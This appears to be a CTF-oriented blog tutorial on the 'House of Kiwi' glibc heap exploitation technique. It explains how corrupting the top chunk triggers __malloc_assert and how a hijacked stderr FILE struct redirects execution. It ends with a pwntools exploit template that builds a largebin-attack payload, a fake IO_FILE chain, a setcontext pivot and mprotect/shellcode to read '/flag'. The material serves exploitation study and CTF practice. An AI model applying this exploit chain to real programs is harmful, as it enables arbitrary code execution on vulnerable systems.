Before Reading

The House of Kiwi is depreciated in high-version GLIBC, but it's important to learn its methodology, especially for the upcoming post House of Emma.

In early versions of GLIBC 2.34 (glibc-2.34-0ubuntu3_amd64 & before), we can modify vtable as any addresses, so that we can control the function pointers inside it easily.

However, after glibc-2.34-0ubuntu3.2_amd64, there's a security check on the vtable, restricting it within section of __libc_IO_vtables:

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

As a result, this House no longer works. But it provides a strategy for calling __malloc_assert to trigger I/O operation (FSOP).

Trigger

Exploiting I/O structs is high-level skill in heap exploitation, which is super powerful and can be leveraged under restricted conditions for hard guarded programs — sometimes we don't even need an overflow to finish the attack. The only fundamental requirement to utilize this weapon is the TRIGGERS — whenever the program deals with files.

exit

In FSOP, it's a common technique to leverage the exit function to trigger I/O operation like the attack we go-through in the TravelGraph writeup. And its chain of activation can be ordered as:

exit
   └───►fcloseall
	       └───►_IO_cleanup
		              └───►_IO_flush_all_lockp
			                         └───►_IO_OVERFLOW

However, we don't always has the exit function in a binary.

For example, a binary might use _exit instead (with the underscore ahead), which applies syscall to end the program — that we don't have a chance to call the essential _IO_cleanup as aforementioned:

And some times, we will meet an infinite loop for a main function:

int main() {
    while(1) {
        // codes
    }
    // This line will never be reached
    return 0;
}

If there're no evident I/O operation in the binary, what can we do?

__malloc_assert

There is a function has been long existed in malloc.c, that everyone should have possibly met it when the program comes into an error:

// malloc.c ( #include <assert.h> )
# define __assert_fail(assertion, file, line, function)            \
     __malloc_assert(assertion, file, line, function)
 
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}

House of Kiwi has brought it to our attention in a bright and striking way. From the above code snippet, the function __malloc_assert calls fflush and takes the IO struct stderr as parameter, which is a standard file struct, with same structure as _IO_FILE. It points to _IO_2_1_stderr_, which is on top of the linked list pointed by _IO_list_all:

Once the function dives into the struct, it eventually calls _IO_file_sync (+0x60) from its vtable pointer (_IO_file_jumps). When the environment satisfy certain conditions to be run into such error, calling functions from the malloc familiy (i.e. malloc, calloc, realloc) will get into the _int_malloc process chain:

_int_malloc
     └───►sysmalloc
              └───► __malloc_assert
                         └───► fflush(stderr)
                                   └───► _IO_file_sync (_IO_new_file_sync)

The register rdx will be _IO_helper_jumps at the moment.

The destination of the chain _IO_file_sync (we see it as _IO_new_file_sync in GDB) is an internal C function, which we can hijack it to an evil function we want to execute with some exploit primitives.

Furthermore, there's another chain, triggered when the function prints out the message for us:

_int_malloc
   └───► sysmalloc
            └───► __malloc_assert
                        └───► __fxprintf
                                   └───► __vfxprintf
                                              └───► __vfxprintf_internal
                                                          └───► _IO_file_xsputn

This chain is also frequently used in PWN scenario, because it's ahead of the previous one. But we need to make sure that the _lock pointer in the fake IO_FILE struct should be a writable address, according to my personal debugging experience.

Therefore, if we control the stderr file struct, we may be able to control execution flow.

Triggers for Trigger

Now comes to our next question: when the function __malloc_assert is called? We need to let the program calls it up without its awareness.

When the programs calls _int_malloc to answer our request for allocating chunks, there's a macro assert:

void *_int_malloc(mstate av, size_t bytes) {
// ...
    // Iterate through the bins to find a free chunk
    for (bin = bin_at(av, idx); (victim = last(bin)) != bin; ) {
        bck = victim->bk;
        // Assert that the back pointer belongs to the main arena
        assert(chunk_main_arena(bck->bk));
        // Remove the victim chunk from the bin list
        unlink(victim, bck, fwd);
        // ...
    }
    // ...
}

In our exploit scenario, we usually go for another easy-trigger trick — modify the top chunk to be abnormal — then sysmalloc will join the party to alert us:

assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));
  1. The size of top chunk is less than 0x20 (MINSIZE).
  2. The prev_inuse bit of top chunk is 0.
  3. The old_top is not page alignment.

Any one of the above triggers will make the attack work. Thus, the easiest way to trigger __malloc_assert is shrinking the top chunk size and make its pre_inuse bit to be 0, leading us into the journey of I/O operation.

Requirements

Unlike FSOP, we will need at least 2 primitives of Largebin Attack or some other similar attack methods like UAF or chunk overlapping:

  1. Overwrite pointer stderr which points to _IO_2_1_stderr_ to an address of memory area we are in control.
  2. Overwrite top chunk size and set prev_inuse bit to 0, to trigger __malloc_assert.

For example:

 size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);	// get top chunk
 *top_size = (*top_size)&0xFFE	// size down & clear prev_inuse bit
 malloc(0x1000)		// trigger assert

EXP Template

Since the demo for explaining attack technique is depreciated in high-version GLIBC, I will not provide a writeup in this post, but another writeup for House of Emma using the methodology introduced.

Here certainly we can catch a glimpse at the EXP template I prepare for quick pwn's to understand how this primitive works:

# Gadgets
rop 	    = ROP(libc)
p_rdi_r     = libc_base + rop.find_gadget(['pop rdi', 'ret'])[0]
p_rsi_r     = libc_base + rop.find_gadget(['pop rsi', 'ret'])[0]
p_rdx_rbx_r = libc_base + rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0]
ret         = libc_base + rop.find_gadget(['ret'])[0]
stderr      = libc_base + libc.sym['stderr']
setcontext  = libc_base + libc.sym['setcontext'] + 61
mprotect    = libc_base + libc.sym['mprotect']

# Largebin Attack
pl = flat({
    0x18: stderr-0x20,  # hijack bk_nextsize of largebin chunk
})

fakeIO_addr    = stderr
mprotect_chain = [p_rdi_r, fakeIO_addr&(~0xfff), p_rsi_r, 0x4000, \
                  p_rdx_rbx_r, 7, 0, mprotect, fakeIO_addr+0x140]	
orw_chain      = asm(shellcraft.cat('/flag'))	

# FSOP
pl = flat({
    # fake_IO  
    0: {  
        0x0:  0,	# _flag
        0x20: 0,	# _IO_write_base
        0x28: 1,	# _IO_write_ptr 
        0x88: fakeIO_addr,	# _lock
        0xa0: fakeIO_addr+0x100,	# _wide_data = rdx
        0xd8: _IO_wfile_jumps   	# vtable
    },
    # fake_IO->_wide_data
    0x100: { 
        0x18: 0,    # _IO_write_base
        0x30: 0,    # _IO_buf_base
        0x40: orw_chain,	# mprotect ->
        0xa0: [fakeIO_addr+0x300, ret],	# setcontext ->
        0xe0: fakeIO_addr+0x200   # _wide_vtable
    },
    # fake_IO->wide_data->_wide_vtable
    0x200: {
        # <+61>:  mov rsp, [rdx+0xa0]
        # <+294>: mov rcx, [rdx+0xa8]
        # <+301>: push rcx
        # <+334>: ret
        0x68: setcontext  # __doallocate
    },
    0x300: {
        0x0: mprotect_chain,
    }
}, filler='\0')

# Modify top chunk size
...

# Trigger House of Kiwi
...

Custom EXP template with self-define functions: link


Are you watching me?